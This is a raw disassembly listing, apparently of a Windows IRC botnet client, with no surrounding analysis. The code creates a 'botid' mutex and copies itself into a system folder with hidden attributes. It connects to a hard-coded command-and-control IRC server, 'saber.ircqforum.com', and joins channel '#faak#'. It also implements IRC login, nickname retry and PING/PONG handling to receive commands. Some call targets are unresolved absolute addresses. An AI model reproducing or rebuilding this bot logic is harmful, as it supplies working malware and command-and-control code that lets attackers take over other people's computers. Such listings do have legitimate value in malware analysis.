eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_443CD8 call sub_4172B0 pop ecx mov eax, offset dword_443CD8 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27A0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43F678 test eax, eax jnz short loc_40E67B mov esi, offset dword_443AD4 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_443AD4 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_489C50, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43F714 push 7530h push offset aBotid ; "botid" push ebx push ebx call near ptr 27B03C7h nop push eax nop call near ptr 2630272h cmp eax, 102h jnz short loc_40E726 push 1 nop call near ptr 77E75CB5h loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43F5E0 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 25F048Fh nop lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2700B59h push eax call near ptr 2640000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F674 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F674[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 267029Bh cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2751040h loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 call near ptr 2630313h nop cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h nop call near ptr 25F0439h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2751040h nop push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_43C80C mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi call near ptr 27A0DD8h nop push eax push esi push 100000h call near ptr 2700537h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_435140 push eax call sub_4172B0 add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 274056Fh test eax, eax jz short loc_40E98C push 0C8h nop call near ptr 25F0439h push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43F5C8 push ebx call near ptr 77E75CB5h nop loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_48A030, 2 jle short loc_40E9D8 mov eax, dword_48A034 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2630272h push esi call near ptr 2611A31h nop mov eax, dword_48A034 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h nop call near ptr 25F0439h mov eax, dword_48A034 push dword ptr [eax+8] call near ptr 27A0C9Ch nop loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43F738, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_435118 push eax call sub_4172B0 push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5C lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_444340 call sub_417330 call sub_41730C push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_489C5C mov dword_489DD0, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_489CDC push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh mov esi, offset dword_489D1C push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_489DB0, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43F750, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43F5AC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_489C58 mov dword_489DCC, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_489DCC, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j call near ptr 25F0439h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F650, bl jz loc_40EA83 push 7Fh push offset byte_42F650 push offset dword_489C5C call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_489DAC, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F25 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43F5C8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Eo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43F668 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_489DC0 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4450D8 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43F6E8 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4450CC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43F700 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j call near ptr 25F0439h nop jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_43514C call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43F700 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_489DC8, bl jz short loc_40ED3F push offset byte_489DC8 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43F700 push 1388h nop call near ptr 25F0439h loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h nop call near ptr 25F0439h jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_4387B8 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_4387B4 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_489DC0 push dword_42F5CC push [ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop 